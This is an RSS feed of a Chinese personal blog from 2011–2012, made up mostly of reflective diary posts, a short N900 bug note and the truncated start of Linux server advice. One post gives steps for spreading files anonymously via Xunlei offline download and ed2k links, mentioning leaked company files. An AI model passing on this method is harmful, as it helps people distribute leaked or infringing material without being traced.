<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>随风随行のland</title>
		<link>https://landon.v70.us/</link>
		<description>往事依依，随风而行。淡忘过去的一切，在风中迎接新的希望。</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20080806</generator>
		<lastBuildDate>Mon, 06 Feb 2012 07:03:25 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>https://landon.v70.us/show-161-1.html</guid>
			<title>新年</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>还差17分钟4点<br />
4点准时去睡觉了<br />
<br />
所以还有15分钟去写这边日志吧<br />
<br />
其实我也不知道要去些什么，只是感觉很久没有在这里写东西了有点对不住这个blog了。<br />
<br />
记得去年，不是前年一月份写了不少了。但是慢慢的就没有写了<br />
<br />
写只是记录一个心情，然以后的自己去看看当年自己多么的2b。<br />
话说我真的没有看过以前缩写的一个字。<br />
why?<br />
最主要的原因还是懒。懒得去做这些。<br />
在这看来我写过什么东西至少会在我脑袋里面存在2年，而2年前的东西我已经想不起来我为什么要去看了。<br />
不过有的时候为了寻找一些无聊的东西去看看以前写的文章还是可以回忆出当年的影子。<br />
就像以前我说过的一句话，时间是一个好东西，他会冲淡一切。当事情过去之后，我可以清晰的记得事情的没一个细节，但是感觉缺已经淡忘了。<br />
感觉呀，高兴，难过，悲痛，到底是什么样的情绪去面对这个事情都会消失在记忆住。而能回忆起来的只是这个事情。<br />
<br />
2年，感觉很短，弹指一挥间就会过去，但是2年会改变很多东西。<br />
抗日才他妈的7年呀&nbsp; 7年。。。<br />
2年足以让一个人饱经蚕桑。让人磨练掉自己的锐气。<br />
<br />
物是人非是很好的形容词吧。<br />
每年聚会都是这么多的人，但是人的心理就变了很多。<br />
或许各怀鬼胎是很好形容的吧。<br />
例子，初中聚会，越到后来感觉聚会的味道有些变了。<br />
具体怎么说，不知道。至少已经不是当初那种为了男女生纯洁的友谊呀，哥们义气等等 出来玩玩的目的，而变成了事业上的聚会。<br />
<br />
雪年年都在下，但是每年坐在窗前看雪时的心情又是不一样的，想的也是不同的问题，由当初纠结到底出去不，而渐渐变成了在记忆的长河中去寻找关于某人的回忆，再接下来变成了在茫茫的雪景之中寻找通向未来的道路。那么以后会是什么呢？不知道 到了那一天自然就知道了。<br />
<br />
有的时候我不的不佩服某些人的成熟，在5年前就开始做了我现在做的事情。<br />
<br />
我一直很喜欢又很反感人气味很重的地方，也一直没有明白究竟喜欢什么而又讨厌什么。<br />
<br />
后来渐渐的发现。在这些地方，很容易让人去思考一些问题。人多，观察到的point就会很多，既然有了point 那么就会思考了。<br />
<br />
所以很多很复杂的问题在此类地方便会很容易的去解决。<br />
<br />
到点了 不写了。<br />
<br />
<br />
洋洋洒洒 843字。</p>]]></description>
			<link>https://landon.v70.us/show-161-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2012-01-22 19:02</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-160-1.html</guid>
			<title>it男的性格特点。大坑</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>每个人都有各自的习惯，关于写文不同的人也有不同的书写方式。有的人喜欢用笔，而另外的一部分人喜欢用电脑，当然我也不会排出那些用手机去写文的家伙了。<br />
<br />
当然不同的人在电脑上的写作方式也是不同，好像很多人都习惯用word，不过我还是喜欢用记事本。<br />
<br />
正好今天晚上没有什么心情去写作业，就谢谢文吧。<br />
<br />
先写关于it人的一些性格特点吧。<br />
<br />
不过开始正文之前还是说一些题外话吧。<br />
<br />
人与人的相遇是很巧的事情，最近因为一个项目吧遇到一个谈的很开的哥们，在交谈中发现了我们具有很多的性格特点，事后仔细的研究了一下谈话内容，并且总结和想了一下，所以才会有这篇文章。<br />
<br />
这里说的it人是某种程度上的it人。<br />
因为人的性格和处事方式在12岁左右就会被确定了。<br />
拥有这类性格的人多半是小时候接触计算机，对逻辑类事情接触很多的人。<br />
但是长大了未必会从事计算机行业。<br />
所以这里的it人只不过是一个代词。<br />
<br />
这类的it人群有个非常显著的特性就是模块化，逻辑化很强。在接触事情的时候会吧任何事情分成一个又一个的部分去处理。而处理是同时处理的。<br />
比如和朋友在外面闲逛，这类人群可以同时做多种事情，类似记路，聊天，发短信，如果有bus过来还会记得bus的号码。虽然是多任务同时进行但是每项任务依然可以进行的很好。因为不同的东西由不同的模块去处理。<br />
在用计算化的语言去解释就是，此类人的大脑会把从耳朵，眼睛等感觉器官做分类然后分给不同的模块去处理。<br />
而这样导致的结果就是当此类人和一般人接触的时候，会让一般人感觉到思维跳跃，造成无法理解一些东西。因为在一般人眼中不可能关联的东西，在他们的眼中却是可以的，因为不同的模块在处理。<br />
举个例子来说，当一路人在聊游戏的时候，走过一个加油站，it男这类的人就可能会来一句，这边的可乐比汽油都贵。一般人都会感觉这思维太跳跃了，但是it男这类人群就不会，因为他们觉得这是一个独立的话题，与之前的话题不冲突。如果大脑资源足够的话，他们可以同时进行无数个话题。就好比一种思维是串行的（一次只能做一个），而另外一种是并行的（不同的数据可以同时发送。）<br />
<br />
上面说的大概是这类人的思维方式了。<br />
<br />
因为这类人是不同的模块去处理不同的事情，模块和模块之间是独立的，所以就造成了，这类人有n重性格。<br />
因为每种模块会选择一种性格，所以着人类会在有些事情上处理的很恶心，但是有些事情上处理的很不错。<br />
我和我的那个朋友曾经做过4色人格测试，发现红色，黄色，蓝色的数值是差不多。这样就说明了在不同的事情上用的是不同的性格和不同的方法。<br />
有的此类性格的人，在某些场合可以夸夸而谈，但是在某些场合却静如蚊子。<br />
并不是因为他们在顾虑什么，而是因为在他们的思想里不同的场合是不同的模块，而不同的模块的处理方式是不同的。所以便有了此类效果。<br />
<br />
<br />
不过这类人会很逻辑化，因为过多的接触计算，而在计算机的领域中对很多事情的判断是用一个值去做比较，在抽象一些的事情，可以去找一些特征码去做比较。<br />
这类人只有亲自干过，或者知道一些例子，才会知道，这件事如何去办。<br />
<br />
不想写了 一会还要写一篇别的呢，算了就这样吧。有时间在补充，阑尾了</p>]]></description>
			<link>https://landon.v70.us/show-160-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-11-13 13:15</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-159-1.html</guid>
			<title>唉。</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>不知道什么时候学会了叹气。<br />
不知道什么时候开始习惯了平静的生活。<br />
<br />
今天闲着无聊回顾了以前的日志，感觉那时候的自己有些sb。<br />
俗话说人在成长回头看自己肯定会觉得自己傻逼。<br />
这2年来学到了什么，经历了什么，基本上都记不清楚了。<br />
只能记得在这2年中自己成长了许多，不会因为心情的原因去写一些怨妇类的帖子。<br />
看见以前那些幼稚的东西就一笑而过了。<br />
<br />
在以前的值日中翻到了一张以前的qq截图，发现短短的1年多时间好用尽然多了100个，但是多半我都不记得是谁了。<br />
好的朋友也只增加了3个。定格在22个上<br />
每天晚上的早些时候可以看到4/22 一个多么吉利的数字呀。<br />
<a href="https://landon.v70.us/attachment.php?id=96" target="_blank"><img src="https://landon.v70.us/attachments/date_201111/thumb_49c6ad2190a62bcc3b26a3904500fa1b.png" border="0" alt="大小: 171.86 K&#13;尺寸: 500 x 344&#13;浏览: 2 次&#13;点击打开新窗口浏览全图" width="500" height="344" /></a><br />
<br />
现在好像已经想不起2009年最后的几天和2010年最初的几天是怎么度过的了。<br />
不过能记得的是，那时候感觉很不好。<br />
10年过得愉快吗？不知道<br />
应该很愉快 上边年 wow 下半年天天往出跑<br />
<br />
转眼间就到了10年的12月30日，这一天back2cn。然后31日到达北京国际机场。<br />
1号就在国内度过了。<br />
这半年注定是无聊的半年，天天英语，不过在这半年中学会了我另外一门skill&mdash;&mdash;&times;&times;&times;&times;&times;<br />
眼瞅着2012就在面前，<br />
我们能看见2013年的1月1日吗<br />
<br />
不知道，不过命运是人类无法抗拒的，我们能做的只有开开心心的去过好每一天。&nbsp; <br />
开心与不开心都是自己给自己找的，为什么我们去选择不开心而不去选择开心呢？<br />
<br />
人生不过3w多天，为啥不高高兴兴的过好每一天呢。<br />
<br />
<br />
今年如何去跨年呢。不知道，不过一定会好好的去玩。</p>]]></description>
			<link>https://landon.v70.us/show-159-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-11-07 14:57</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-158-1.html</guid>
			<title>未来-未来《记忆裂痕》</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>闲着无聊的时候，爬格子是最好的解决办法&mdash;&mdash;某人<br />
爬格子的本意是用笔在做文字上写文章，好像一直虫子在做文字纸上爬，故得名爬格子。<br />
<br />
<br />
今天要讲的一部很老的电影吧，其实也不算老03年初一时候的电影吴导拍的《记忆裂痕》。<br />
片子大意懒得说了。直接百度去吧。<br />
本文的主题嘛，就是要未来还是&ldquo;未来&rdquo;。<br />
当未来变成可知了，那么这些还是未来吗？<br />
按照目前比较流行的理论来解释，未来就是你所不知道的事情，而这些事情充满了变数。<br />
就像某人在买彩票的时候输错了一个号码，这个变动可能会使你痛失大奖，或许是你赢到头奖。<br />
而未来的神秘就是在于，你不知道究竟什么会发生，什么不会发生。<br />
关于改变未来，未来能够被改变吗？<br />
这是一个未知数。因为目前没人能够做实验去确定这一切。<br />
看了很多关于未来，预测未来的电影，总结下无非就是2种模式。<br />
1.预测到的未来是真实的。当你知道了未来而尝试着去改变这一切的时候，你所做的事情就成为了未来变为现实的奠基石。<br />
2.未来只是未来，未来指挥发生在人们不知道这事的情况下，如果你知道这事了，那么这个未来不会发生，因为他只发生在你不不知道这件事的条件下。<br />
<br />
<br />
关于第一种情况在电影《黑客帝国》中我们不难看出。先知曾经和neo说xxx，然后neo愣了一下，就把盘子打碎了。&nbsp; 也就是说先知知道neo一定会把碟子打碎，所以她才会事先说那句话。<br />
还有哪部电影还是小说，其中讲过正式因为主人公知道了未来，制定了一个计划去避免那个未来的发生，在他执行完所有的计划之后，他发现正是他的计划使未来发生了，如果他什么也不做的话未来是不会发生的。<br />
在最新的一个日本动漫 sentis gate（好像拼错了）中描写世界线中有过这样的说明。只要世界线不移动，无法如何去更改，要发生的事情一定会发生。example：真理有的死。不论主角如何去更改，真理有总是会死。<br />
然而在电影终结者系列中也有这样的描写。就是关于核大战的爆发，天网统治世界。其中john说过，我们无法改变未来，我们只能推迟未来发生的时间。也就是核大战的时间。<br />
这些情况都是未来-&gt;事实这种模式的。也就是未来一定会发生的。<br />
<br />
好了我们现在说说第二种情况，<br />
这种我忘了在哪里有说过，支持这项理论的核心就是们人生就是无数个十字路口，当人走了不同的路那么以后的人生也不会一样了。可谓一个选择就会产生一个平行宇宙。<br />
而在这种世界观上，未来是构建在人存在在这个平行宇宙上的。如果人知道了未来可以轻易的去改写，因为他们选择了不同的路线去走，所有的事情都要去从新计算。这点比较符合steinsgate中 世界线的概念。<br />
未来=这个世界线上的为了-&gt;决定会切换世界线，导致真正的未来无法预测。<br />
<br />
<br />
2中说法都有2中说法的道理.很难解释谁对谁错。<br />
<br />
不过个人感觉，第一种情况偏向于事实，也就是如果真的能预测到未来，那么会朝着第一种情况发展。<br />
但是按照科学的理论去解释，第二种无疑是最靠谱的。<br />
<br />
<br />
既然我们知道了未来的模式。<br />
我们应该去讨论下未来。如果我们知道了未来，那么这东西应该叫什么？<br />
如果我们知道的未来都符合模式一，那么我们只需要不去管它就好了，这样100%不会让这种未来发生。<br />
如果是模式2，那么需要我们去管一管。<br />
但问题又出现了，如何去知道究竟是模式1呢还是模式2呢？<br />
恐怕这又是一个哲学上的问题了。这个需要设置一个世界观。在不同的电影中，这个世界关是不同的。<br />
<br />
但人类知道了未来之后，我们要做的是什么？改变未来吗？除了改变未来呢？恐怕还是改变未来。因为人性是贪婪谁不希望事情朝着有利于自己的方向去发展呢？<br />
<br />
所以我们不妨要去思考一下，我们是否有知道未来的必要性呢？如果我们知道了未来，而且未来是真实的，我们有活下去的必要吗？活下去不是就是为了去探索未知的事情吗？<br />
<br />
太监了。睡觉去了</p>
<div><embed hidden="true" height="0" width="0" type="application/lingoes-npruntime-capture-word-plugin" id="lingoes_plugin_object"></embed></div>]]></description>
			<link>https://landon.v70.us/show-158-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-10-31 16:07</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-157-1.html</guid>
			<title>无题</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>夜晚2点，一个很无聊的时间，四周都很安静。<br />
窗外的灯光透过百叶窗映射到天花板上，显示出一种别样的风情。<br />
<br />
夜晚给人一种安详，一种寂寞。<br />
所以在夜晚工作效率很高。<br />
记得以前一熬就是一宿，在晚上12点准时开始写程序写到第二天早上的日出，然后开始睡觉。<br />
中午起来吃饭，下午在家里宅，或者出去遛遛弯。<br />
晚上看看电影，一天天就这样无聊的度过了。<br />
充实？放松？清闲？<br />
真的不知道到底是什么。<br />
不过自己感觉良好就好了。<br />
不知道什么时候开始，见到程序就想吐，做到电脑前面脖子就疼。<br />
尽管如此，很多事情还是必须要去做，即使不想去做也得做。<br />
因为选择了这条路，就要坚定的走到底。不管他多么的艰难。<br />
<br />
最近发生了许许多多的事情，很多事情都是发生在别人身上而非自己的身上，这是很值得庆幸的，因为如果那些事情都发生自自己身上将会多么悲剧呀。<br />
不过这也是好事，这样多次一次让自己去想象如果这些事情发生了我要去怎么做。<br />
<br />
责任这俩个字很好写，但是他却十分的沉重，责任就是自己需要为自己做过的事情去负责。<br />
如果没有做好负责的准备，还是不要去做好了。<br />
<br />
电影看完了，2.30了，准备睡觉去了。<br />
明天干嘛呢？不知道。<br />
继续写程序吧，最近想到几个新点子。</p>
<div><embed hidden="true" height="0" width="0" id="lingoes_plugin_object" type="application/lingoes-npruntime-capture-word-plugin"></embed></div>]]></description>
			<link>https://landon.v70.us/show-157-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-10-27 16:13</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-156-1.html</guid>
			<title>N900的一些問題吧</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>好久沒寫東西了<br />
今天寫點n900這個被社會遺棄了的東西吧。<br />
<br />
n900 的一個短信bug<br />
短信丟失一直顯示正在發送。<br />
如果關閉聊天窗口那個你就再也無法打開這個窗口了除非重啟<br />
<br />
原因:csv數據庫被多個進程同時打開導致csv數據庫出現問題。<br />
<br />
<br />
===========<br />
pc套件模式無法訪問存儲卡。<br />
解決方式<br />
smb 本地映射存儲卡到本機內存。</p>]]></description>
			<link>https://landon.v70.us/show-156-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-10-20 12:35</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-155-1.html</guid>
			<title>Deja Vu</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>Deja Vu<br />
<br />
deja vu的意思就是即视现象，意思就是刚刚发生的事情感觉以前见过。有事还出现&nbsp; 东西明明就在自己的身边但是就是找不到，但是过一会，发现这个东西就在身边。<br />
最及感觉这种现象很多，好像是心理压力太大了吧，也不知道为什么，上次经常出现实在高三的那个暑假。可能是太过于缺觉了吧。<br />
后<br />
最及在校内上看到一些80后90后小时候吃的玩的的一些照片感觉很怀念。小学时候的记忆虽然不那么清晰，但依然可以记得那些点滴。周2电视台的设备维修，大大圈，小浣熊。等等。<br />
长大了就发现还是小时候好，15岁 16岁真的是一个很好的年代，干事情不用自己操心，只要放心去玩就好了，只要不犯了大错误，基本上没有不能解决的问题。但是大了需要想的事情就越来越多，很多决定从当年的几秒钟到了现在的几个小时甚至几天。有事肯能几天也未必能做出一个决定。就像一辆车，车上的货物越来越多了就发现掉头越来越难了。<br />
知道的越少就会感到越多的快乐,傻子，我在清华园里面看见过一个傻子，天天拿着收音机在清华园中骑着自行车走来走去，脸上充满着笑容。每2年还换一次清华附中的校服。难道他不快乐吗？这个世界上一切都是相对的，有得就有失，得到多少就会失去一些，傻子失去了了解世界的机会，但是他们得到了快乐。<br />
中国是一个很悲剧的地方，中国的真相真的很。。。。怎么说呢，过早的接触到中国的真相真的很悲剧。就像我在14岁左右知道了基本上80%的中国的那些破事，就感觉与这个岁数的同学有些格格不入，自由思想的入侵导致了很多的后果，记得初中的时候经常为了一丁点小破事去和老师吵。对中国的一切失去了信心。对很多事情格外的冷淡，集体活动感觉都是作秀，入团也没写过申请书。还有做个很多反共的事情，，政治课是最欢乐的，老师在上面说我们在下面玩。感觉那个阶段真个脑地里面都是浆糊，感觉中国的一切都是黑暗的。<br />
我有个朋友也是这样的，他试图个他们班级的同学讲解中国的真相，但是大家觉得他是个sb，很不和谐的人。不过回想起来也是对的，你说14 15岁的那帮小p孩懂什么呀，你跟他们说个p呀。<br />
现在的我基本已经脱离愤青的年代了，知道的太多了，感觉很。。。。因为现在社会中发生的和以前的那些比起来只能算是冰山一角了。这些事情没什么好说的，说能解决问题吗？<br />
就算起义，有人参加吗？没人参加还干嘛去，找死吗？<br />
目前在中国，要不闹大，要不不闹，闹大了大家都知道没人干怎么着你，小了大家都不知道，zf也懒的管你。不大不小很危险，大家都不知道了，zf抓了你没人知道你被抓了。<br />
黑暗中也有光明，如果人不去寻找光明那么黑暗会越来越黑的。<br />
不要总去关注那些很恶心的事情，也要去找那些好的事情。<br />
关心中国的政治，不入找点朋友喝点小酒聊聊天。<br />
同样都是浪费时间何必去弄那些沉重的东西呢。<br />
人的一生就3w多天，怎么过不是过呀。</p>]]></description>
			<link>https://landon.v70.us/show-155-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-10-07 12:59</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-154-1.html</guid>
			<title>无题吧</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>唉 不知道说点什么。<br />
感觉人闲下来就不知道干什么了，白天不知道怎么度过，感觉很无聊，可能是平时白天上课 晚上写作业习惯了吧。<br />
<br />
白天好像在我的时间表中&nbsp; 一般的白天是用来睡觉的，剩下的一般是用来出去遛弯的。<br />
<br />
不知道为什么现在开始有些脱离宅的生活了，开始慢世界的乱跑，去了解自己不知道的东西。<br />
可能是宅惯了被憋得吧。<br />
<br />
或许计算机知识个爱好，真是适合我的是与人打交道的那些事情吧。<br />
<br />
。。。。。。。。<br />
有时间再写，又是不负责任的东西。<br />
<br />
何须负责人呢。</p>]]></description>
			<link>https://landon.v70.us/show-154-1.html</link>
			<category domain="https://landon.v70.us/category-1-1.html">心情·随笔</category>
			<pubDate>2011-10-03 14:40</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-153-1.html</guid>
			<title>利用迅雷去匿名传播文件。</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">虽然在中国，版权法，</span><span lang="EN-US"><font face="Calibri">XX</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">法根没有一样，但是有些文件感觉还是匿名传播好一些。虽然可以挂到网盘上，但是这样的举动非常不靠谱，网盘一般都会记录使用者的</span><span lang="EN-US"><font face="Calibri">ip</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">信息等因素，而且还有个问题，就是下载速度很慢。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">前段时间也因为有一些朋友去传播某公司的内部程序文件而被，还有网盘文件无辜被删等情况。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">通过一些事情我逐渐发现迅雷是个好东西，一个匿名传播文件的好帮手，不过需要有</span><span lang="EN-US"><font face="Calibri">vip</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">（离线下载）的权限。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">迅雷离线的工作原理不想多少，简单的说就是</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，</span><span lang="EN-US"><font face="Calibri">torrent</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，部分</span><span lang="EN-US"><font face="Calibri">url</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，迅雷服务器在有资源的情况下可以秒杀。既然如此这不就是传播文件的绝妙之处吗。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">好了开始正题：</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 18pt; mso-char-indent-count: 0; mso-list: l0 level1 lfo1" class="MsoListParagraph"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin" lang="EN-US"><span style="mso-list: Ignore"><font face="Calibri">1．</font><span style="font: 7pt &quot;Times New Roman&quot;">&nbsp; </span></span></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">让迅雷离线服务器下载你要传播的文件。方法很多</span><span lang="EN-US"><font face="Calibri">url</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，</span><span lang="EN-US"><font face="Calibri">bt</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">，电驴的都可以，电驴好一些因为不会记录到你的</span><span lang="EN-US"><font face="Calibri">ip</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">信息。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 18pt; mso-char-indent-count: 0; mso-list: l0 level1 lfo1" class="MsoListParagraph"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin" lang="EN-US"><span style="mso-list: Ignore"><font face="Calibri">2．</font><span style="font: 7pt &quot;Times New Roman&quot;">&nbsp; </span></span></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">给该文件生成</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">链接，为啥</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">呢。匿名呀，</span><span lang="EN-US"><font face="Calibri">torrent</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">的话传播不方便呀。</span><span lang="EN-US"><font face="Calibri">Ps </font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">这个有工具可以生成</span><span lang="EN-US"><font face="Calibri">google</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">下就可以了</span><span lang="EN-US"><font face="Calibri"> key</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">：</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">生成器。</span><span lang="EN-US"><o:p></o:p></span></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 18pt; mso-char-indent-count: 0; mso-list: l0 level1 lfo1" class="MsoListParagraph"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin" lang="EN-US"><span style="mso-list: Ignore"><font face="Calibri">3．</font><span style="font: 7pt &quot;Times New Roman&quot;">&nbsp; </span></span></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">然偶分享那个</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">链接就好了。这样一般的电驴都会提示无种，但是你把这个</span><span lang="EN-US"><font face="Calibri">ed2k</font></span><span style="font-family: 宋体; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-font-family: 宋体; mso-fareast-theme-font: minor-fareast; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin">链接扔到迅雷离线下载后，就立马秒杀了。</span><span lang="EN-US"><o:p></o:p></span></p>]]></description>
			<link>https://landon.v70.us/show-153-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-09-04 13:06</pubDate>
		</item>
		<item>
			<guid>https://landon.v70.us/show-152-1.html</guid>
			<title>关于Linux服务器的一些建议</title>
			<author>tywtyw2002</author>
			<description><![CDATA[<p>本人其实并不是什么大牛，在6年的服务器配置生涯中终结出了一些属于自己的原则。可能并不大适用在大型网络或者其他什么地方，只是总结出来给大家一些建议，欢迎大家来讨论。<br />
关于磁盘的分区，这个是个很恶心的问题。分区方法基本都差不多/boot,/,等不过我习惯/不是所有的硬盘，只分60G 够系统的运行就好了。然后分出/data0 /data1 2个分区来装数据，这样在重装系统后，重要的数据不会丢失。系统恢复起来也极为的方便（后面具体说。）<br />
和人习惯分2个，一个做备份盘，一个做空间。<br />
